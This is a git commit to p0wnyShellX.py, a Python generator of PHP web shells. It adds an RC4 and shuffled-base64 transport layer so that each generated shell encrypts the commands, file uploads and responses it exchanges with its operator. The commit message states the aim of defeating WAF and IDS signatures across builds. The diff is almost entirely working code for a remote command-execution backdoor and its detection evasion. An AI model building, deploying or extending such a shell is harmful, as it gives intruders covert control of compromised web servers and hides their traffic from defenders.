Add polymorphic RC4+base64 transport layer

Each build generates a unique 16-byte RC4 key and a shuffled base64
alphabet, baked into both the PHP and JS sides at generation time.
All AJAX POST params are RC4+customB64 encoded by the JS before sending;
PHP decodes them with the same key. The response (JSON) is encoded by PHP
before sending; JS decodes it. No key is transmitted — everything is
embedded in the generated file.

Result: two deployments of the same shell produce completely different
wire traffic. No static WAF/IDS pattern can match across builds.

Author: franckferman

p0wnyShellX.py

@@ -261,6 +261,18 @@ def compute_bcrypt_hash(password: str, cost: int = 12, seed: int = None) -> str:
         print("[!] php not found — falling back to hex encoding (less secure)", file=sys.stderr)
         return None
 
+# ─────────────────────────────────────────────────────────────────────────────
+# TRANSPORT KEYS (RC4 key + shuffled base64 alphabet, unique per build)
+# ─────────────────────────────────────────────────────────────────────────────
+
+def generate_transport_keys(rng: random.Random) -> tuple:
+    rc4_key_bytes = [rng.randint(0, 255) for _ in range(16)]
+    rc4_key_hex   = ''.join(f'{b:02x}' for b in rc4_key_bytes)
+    alphabet = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')
+    rng.shuffle(alphabet)
+    b64_alpha = ''.join(alphabet)
+    return rc4_key_hex, rc4_key_bytes, b64_alpha
+
 # ─────────────────────────────────────────────────────────────────────────────
 # THÈMES CSS
 # ─────────────────────────────────────────────────────────────────────────────
@@ -334,9 +346,11 @@ def pick(pool, used, rng):
 
 def build_php_section(n, jv, ids, route_param, routes, session_key_val,
                       bcrypt_hash, username, junk_before, junk_after,
-                      case_order, theme, ver, rng):
+                      case_order, theme, ver, rng,
+                      rc4_key_hex, rc4_key_bytes, b64_alpha):
     T = CSS_THEMES[theme]
     cfg = n['cfg_var']
+    rc4_key_bytes_js = ','.join(str(b) for b in rc4_key_bytes)
 
     # ── Exécution du fallback: ordre randomisé ──
     fallback_methods = list(range(5))
@@ -377,8 +391,8 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
     case_blocks = {
         'shell': (
             f"        case '{routes['shell']}':\n"
-            f"            $cmd = $_POST['cmd'] ?? '';\n"
-            f"            $cwd = $_POST['cwd'] ?? getcwd();\n"
+            f"            $cmd = tDec($_POST['cmd'] ?? '');\n"
+            f"            $cwd = tDec($_POST['cwd'] ?? '') ?: getcwd();\n"
             f"            if (!preg_match('/2>/', $cmd)) {{ $cmd .= ' 2>&1'; }}\n"
             f"            $response = {n['resolve_task']}($cmd, $cwd);\n"
             f"            break;"
@@ -391,17 +405,17 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
         'hint': (
             f"        case '{routes['hint']}':\n"
             f"            $response = {n['tab_complete']}(\n"
-            f"                $_POST['filename'] ?? '',\n"
-            f"                $_POST['cwd'] ?? getcwd(),\n"
-            f"                $_POST['type'] ?? 'file'\n"
+            f"                tDec($_POST['filename'] ?? ''),\n"
+            f"                tDec($_POST['cwd'] ?? '') ?: getcwd(),\n"
+            f"                tDec($_POST['type'] ?? '') ?: 'file'\n"
             f"            );\n"
             f"            break;"
         ),
         'upload': (
             f"        case '{routes['upload']}':\n"
-            f"            $path = $_POST['path'] ?? null;\n"
-            f"            $file = $_POST['file'] ?? null;\n"
-            f"            $cwd  = $_POST['cwd'] ?? getcwd();\n"
+            f"            $path = tDec($_POST['path'] ?? '');\n"
+            f"            $file = tDec($_POST['file'] ?? '');\n"
+            f"            $cwd  = tDec($_POST['cwd'] ?? '') ?: getcwd();\n"
             f"            $response = ($path && $file)\n"
             f"                ? {n['write_file']}($path, $file, $cwd)\n"
             f"                : ['stdout' => base64_encode('Missing parameters.'), 'cwd' => base64_encode(getcwd())];\n"
@@ -736,13 +750,26 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
     exit;
 }}
 
+define('__TK', hex2bin('{rc4_key_hex}'));
+define('__TA', '{b64_alpha}');
+define('__TS', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');
+function __trc4(string $d): string {{
+    $k=__TK; $s=range(0,255); $j=0;
+    for($i=0;$i<256;$i++){{$j=($j+$s[$i]+ord($k[$i%strlen($k)]))%256;[$s[$i],$s[$j]]=[$s[$j],$s[$i]];}}
+    $i=$j=0; $o='';
+    for($n=0;$n<strlen($d);$n++){{$i=($i+1)%256;$j=($j+$s[$i])%256;[$s[$i],$s[$j]]=[$s[$j],$s[$i]];$o.=chr(ord($d[$n])^$s[($s[$i]+$s[$j])%256]);}}
+    return $o;
+}}
+function tEnc(string $d): string {{ return strtr(base64_encode(__trc4($d)), __TS, __TA); }}
+function tDec(string $d): string {{ return __trc4(base64_decode(strtr($d, __TA, __TS))); }}
+
 if (isset($_GET['{route_param}'])) {{
     $response = null;
     switch ($_GET['{route_param}']) {{
 {switch_body}
     }}
-    header("Content-Type: application/json");
-    echo json_encode($response);
+    header("Content-Type: text/plain");
+    echo tEnc(json_encode($response));
     exit;
 }} else {{
     {n['get_env_info']}();
@@ -823,18 +850,39 @@ def build_php_section(n, jv, ids, route_param, routes, session_key_val,
             {jfn['e_content']}.scrollTop = {jfn['e_content']}.scrollHeight;
         }}
 
+        var __TK=[{rc4_key_bytes_js}];
+        var __TS='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
+        var __TA='{b64_alpha}';
+        function __trc4(k,b){{
+            var s=[],i,j=0,t;
+            for(i=0;i<256;i++)s[i]=i;
+            for(i=0;i<256;i++){{j=(j+s[i]+k[i%k.length])&255;t=s[i];s[i]=s[j];s[j]=t;}}
+            i=0;j=0;
+            return b.map(function(x){{i=(i+1)&255;j=(j+s[i])&255;t=s[i];s[i]=s[j];s[j]=t;return x^s[(s[i]+s[j])&255];}});
+        }}
+        function tEnc(s){{
+            var b=__trc4(__TK,[].map.call(s,function(c){{return c.charCodeAt(0)}}));
+            var r=btoa(b.reduce(function(a,x){{return a+String.fromCharCode(x)}},''));
+            return r.split('').map(function(c){{return c==='='?'=':__TA[__TS.indexOf(c)]}}).join('');
+        }}
+        function tDec(s){{
+            var b64=s.split('').map(function(c){{return c==='='?'=':__TS[__TA.indexOf(c)]}}).join('');
+            var raw=[].map.call(atob(b64),function(c){{return c.charCodeAt(0)}});
+            return __trc4(__TK,raw).reduce(function(a,x){{return a+String.fromCharCode(x)}},'');
+        }}
+
         function {jfn['pipe_call']}(url, params, callback) {{
             if (typeof url !== "string" || !url.trim()) return;
             var qs = Object.keys(params).map(function(k) {{
-                return encodeURIComponent(k) + "=" + encodeURIComponent(params[k]);
+                return encodeURIComponent(k) + "=" + encodeURIComponent(tEnc(String(params[k])));
             }}).join("&");
             var xhr = new XMLHttpRequest();
             xhr.open("POST", url, true);
             xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
             xhr.onreadystatechange = function() {{
                 if (xhr.readyState === 4) {{
                     if (xhr.status === 200) {{
-                        try {{ callback(JSON.parse(xhr.responseText)); }}
+                        try {{ callback(JSON.parse(tDec(xhr.responseText))); }}
                         catch(e) {{ {jfn['insert_stdout']}("Malformed response."); }}
                     }} else {{
                         {jfn['insert_stdout']}("Request failed [" + xhr.status + "]");
@@ -1129,10 +1177,14 @@ def generate(args):
     # Version
     ver = f"{rng.randint(1,9)}.{rng.randint(0,9)}.{rng.randint(0,999)}"
 
+    # Transport keys (RC4 + shuffled base64 alphabet)
+    rc4_key_hex, rc4_key_bytes, b64_alpha = generate_transport_keys(rng)
+
     return build_php_section(
         n, jv, ids, route_param, routes, session_key_val,
         bcrypt_hash, args.user, junk_before, junk_after,
-        case_order, theme, ver, rng
+        case_order, theme, ver, rng,
+        rc4_key_hex, rc4_key_bytes, b64_alpha
     )
 
 # ─────────────────────────────────────────────────────────────────────────────